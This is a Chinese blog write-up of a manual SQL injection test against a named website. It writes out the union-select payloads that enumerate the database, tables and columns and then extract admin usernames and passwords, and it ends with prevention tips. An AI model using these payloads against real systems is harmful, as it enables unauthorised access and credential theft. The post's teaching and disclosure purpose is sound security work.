记一次简单的渗透实战(手工SQL注入)

渗透场景:

本次测试网站 :www.gaoneng.com
该漏洞已经提交漏洞盒子平台,已授权公开此漏洞
经过初步判断,得出此网站操作系统为Windows,网站源码脚本格式为php,使用的数据库类型为Mysql,架设环境为Windows Microsoft-IIS/6.0。


问题描述:

产生SQL注入的必备条件:
    1.程序员未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。
    2.有可利用控制输入的数据值

SQL注入漏洞的危害:
    1.攻击者可以利用获得的数据进行读取服务器敏感文件
    2.植入webshell后门
    3.获取服务器权限等  

渗透过程:



①首先找到含有注入点的URL界面
http://www.gaoneng.com/newsshow.php?id=234
1
2
通过简单测试后发现所有新闻页面均存在数据库异常回显状况(注入点),可以判定此URL未过滤注入关键词并含有注入漏洞。


②查询字段长度,爆出字段位置
1)通过order by语句二分法定位字段长度
2)根据回显正常/错误界面判断出共有26个字段
3)在错误界面爆出字段位置
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
3


③查询当前用户权限与数据库

and 1=2 union select 1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,user(),18,19,20,21,22,23,24,25,26
在数据回显点插入语句查询相关数据库名等信息。
4
//得出当前用户权限为:root
//数据库名为:gaoneng


④查询表名与列名
and 1=2 union select 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=‘gaoneng’ limit 0,1
5
//因为数据库中不止有一个表名,所以加limit语句进行查询,可以limit X,1逐个查询表名。
//得出表名为 com_admin

and 1=2 union select 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.columns where table_name=‘com_admin’ limit 1,1
6
7
//列名也不止一个,所以经过查询得出两个有价值的列名字段
//username,password

⑤查询字段中数据

and 1=2 union select 1,2,3,4,5,6,username,8,9,10,11,12,13,14,15,16,password,18,19,20,21,22,23,24,25,26 from ‘com_admin’
8
//得出管理员用户和密码


解决方案:

本次SQL注入主要是利用了联合查询,通过数据库语句进行一步步猜解和分析,最终得出攻击者需要的密码口令。

如何防范SQL注入攻击?(以下为个人见解,欢迎讨论)

①管理员限制数据库功能,将使用权、用户功能、权限降至最低。
②及时更新数据库补丁,加固安全措施(web防护软件、防火墙),过滤敏感字段。
③避免向用户回显数据库错误信息。
④多层加密数据库密码信息,即使攻击者获得口令也无法破解。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我就是卧底

若有帮助,欢迎支持!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值